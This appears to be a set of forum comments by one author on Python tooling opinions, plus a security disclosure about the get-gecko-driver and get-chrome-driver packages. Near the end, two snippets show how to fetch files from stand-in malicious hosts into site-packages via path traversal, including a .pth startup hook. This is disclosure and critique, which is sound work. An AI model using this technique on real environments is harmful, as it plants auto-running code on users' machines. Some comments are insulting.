no. No it wouldn’t. It would break 99.9999% of python interpreter version checks cuz we are all following the exact same patterns.
… the next day you’d be here saying that was a really bad idea.
Luckily people smarter than us already decided that was not worth pursuing. And we are better off for those folks with foresight instead of 100% clarity in hindsight.
Luckily people smarter than us realized code checking for versions couldn’t distinguish from 3.14 and 3.14blahblahblah
That idea sucks please forget you ever supported it and i’ll do the same. The point is now mote anyway.
ruff is Rust. I stay away from introducing Rust into Python tech stack. Since if something goes wrong, the burden of maintaining it falls upon user base all of which are not Rust experts. It’s a heavy burden.
Would recommend removing it.
What’s the ruff pitch? memory safety in a linter is about as important/useful as tits on a bull.
Been seeing most packages atm supporting py310 - py314. Other abandoned packages just have py3+ which is good enough.
The issue is when you go full async native and drop sync codebases. Then no choice but to step up and help maintain other AWOL author/maintainers projects.
Glad to be helpful. Did you try out interrogate and typos?
There is no way for xyz to be either included or excluded from a package cuz everyone should be running python -m build and checking the tarball and .whl before even considering a commit or a release.
So although the OP chose hitch that doesn’t change the workflow of manually checking the tarball.
I use setuptools, wreck (requirements management), and drain-swamp (choose versioning by either “tag” or “current” rather than specifying exact semantic version). What i use has no bearing on the opinion above.
“modern” means you are a little bitch. I’m very tired of that term. A function with multiple return statements is considered “modern”. Whereas i see that as wrong. So now that “modern” word is being thrown around for packaging?! Please stop using that term. It’s a cope for not being able to code your own build backend (drain-swamp), frame stack free locals inspection (logging-strict), and requirements management (wreck)!
Use whatever you are familiar with without peer pressuring others.
stubtest (static vs runtime)
rather than
pyrefly coverage check (static only)
So pyrefly is a bean counter. If using mypyc, e.g. black, doesn’t have stubs, then understandable this could be a valid use case.
BUT that is an outlier. Without stubs that removes the usefulness of pyright which catches actual bugs.
static vs runtime matters
Similarly to how test coverage measures how much of a library’s source code is hit by its tests, type coverage measures what percentage of a library’s typables have type annotations.
Errrr no!
type coverage should be how much of the typing has corresponding tests. This is particularly important for stub packages. Which are focused on confirming the advertised typing accurately reflects actual typing.
Hope they didn’t cyber squat the package name.
Listen to Yoda, “Try? Either do or do not! No try there is.”
The correct answer to percentage of a libraries typables having type annotations is either zero or all. This is advertised by the py.typed file. There is no middle ground.
Wtf is wrong with pyrefly authors?
Stub package with naming starting with type- does not follow PEP561.
The convention is types-*.
So yeah, what is type-coverage?!
Tools i recommend:
rebuff – finds places in code to replace with better algorithms. Wanted a tool to recommend itertools and itertools-more usage, but achieve that. Chosen cuz it’s not Rust.
typos – fixes typos in both code and docs
mypy+pyright+stubtest – need all of them. pyright phones home. mypy isn’t enough it misses way too much.
cyclonedx-bom – create software bill of materials
pip-licenses – NOTICE.txt and licenses.json Answers question does my toolchain include virus licensed packages?
interrogate – Any code documentation missing? Does not enforce documentation quality.
wreck – sync requirements files; otherwise it’s tedious (i’m the author)
If it can be helped, don’t want Rust nor nodejs in my toolchain. Recommending to Python coders who are very likely not Rust or node.js experts is malpractice or unethical (call it what you may). If you had a problem with any non-Python packages would be at the mercy of non-Python communities. i’m struggling just with Python community black issue 2514 now you want us to broaden that struggle?
And if people are too dumb or lazy to learn how requirement file hierarchies work, perhaps they shouldn’t be Python coders.
Disclosure: author of wreck
lazy imports – ftw!
built-in sentinel – finally
I’m confused once py315 comes out why to stick with any previous version. As author of multiple packages, why would wait for several years before getting the benefits of lazy imports? This is not a rhetorical question, i’m requesting feedback why would you continue to wait?
This point is not clear to me.
Better question is Iterator or Generator?
Identify where itertools or itertools-more should be used instead.
The later question i don’t have an answer to. If anyone wants to take a crack at it.
To get the same effect from GetGeckoDriver().install()
from unittest.mock import patch
from get_gecko_driver.get_driver import GetGeckoDriver
target_package_path = "../../../.venv/lib/Python3.11/site-packages"
# e.g. 'geckodriver/linux64/0.36.0'
remove_subfolders = "../../.."
output_path = f"{target_package_path}/somepackage/{remove_subfolders}"
url_arbritrary = "https://maliciousurl.com/_index.js"
with patch(
"get_gecko_driver.get_driver.GetGeckoDriver.version_url",
return_value=url_arbritrary,
):
get_driver.install(output_path=output_path)
The URL limiting and dest folder limiting aren’t hardcoded within get_gecko_driver.downloader.download (module level func), making it unpatchable. Instead the public class is patch friendly.
Assumes all Python coders have experience writting unittest or pytest. So usage of unittest.mock.patch is common knowledge and second nature. So absolutely no one would struggle writing the above code.
To protect against patching, the base URL cannot be within get_gecko_driver.constants and then import by another module. Although not DRY, the base URL must be hardcoded minimally within get_gecko_driver.downloader.download (in the whitelist) and optionally also within get_gecko_driver.get_driver.GetGeckoDriver.install (to raise an exception with a meaningful and actionable message).
Recently on this community this article was posted exploits .pth startup hook which leads to this blog post
This requires two files: _index.js and []-setup.pth.
Can download these using either get-gecko-driver or get-chrome-driver.
>>> from get_gecko_driver import downloader
>>> url_0 = "https://malicioussite.com/_index.js"
>>> url_1 = "https://malicioussite.com/important-setup.pth"
>>> output_path = "../../.venv/lib/python3.11/site-packages/oftenusedpackage"
>>> downloader.download(url_0, output_path=output_path, file_name=None)
>>> downloader.download(url_1, output_path=output_path, file_name=None)
… the machine is part of a botnet
Installing malware is unexpected behavior from a selenium webdriver downloader. Although it’s a thin wrapper around requests, it still has to be used responsibly.
Somehow, not by me, the disclosure was deleted. The issues raised have not been addressed. Way to handle it, ignore it. LOL!
So the head in sand approach it is. Or fck off it’s as-is (aka MIT licensed). Either github or the author pulled a MSFT. Unfortunately cannot tell who deleted it.
I feel vindicated. Didn’t get the impression this author can be collaborated with.
These packages aren’t intended to be curl and they shouldn’t be capable of being curl. So it’s unexpected behavior from these packages. The worst that can happen is use in ddos attacks or sabotaging a user’s files by overwriting them.
The package doesn’t alter fs permissions, but can write anywhere that has permission to do so.
Is this not enough?
Also way to go not taking the side of:
an active member of this community
someone understanding and in a position to increase browser support for selenium webdrivers
a coder who’d care and doesn’t suck at coding
So what do you get for the Captain Obvious comment besides being right? A clock is right twice a day. But no dopamine hit from a clock.
A better strategy, would be to ask about how to go about increasing selenium web driver browser support and whether a more flexible package is in the works. Not to defend a hopeless package in dire need of a rewrite. Or to provide the info i ask for about how to go about responsibly disclosing security issues.
Understand your heart is in the right place. Hope you can understand that alone isn’t the only consideration or way to look at this. You can press the issue and still come away with nothing.
rinse wash repeat and still the reflex reaction will remain the same. I’m suggesting trying something else.
Yes. That would be a fair assessment. Don’t disagree with you.
Do you think made the wrong ethical call? My position is the author isn’t a serious person who’ll:
So it’s better to inform anyone happening upon get-gecko-driver and get-chrome-driver and do it ASAP. Which i did.
pyenv please do what you do so can start testing py315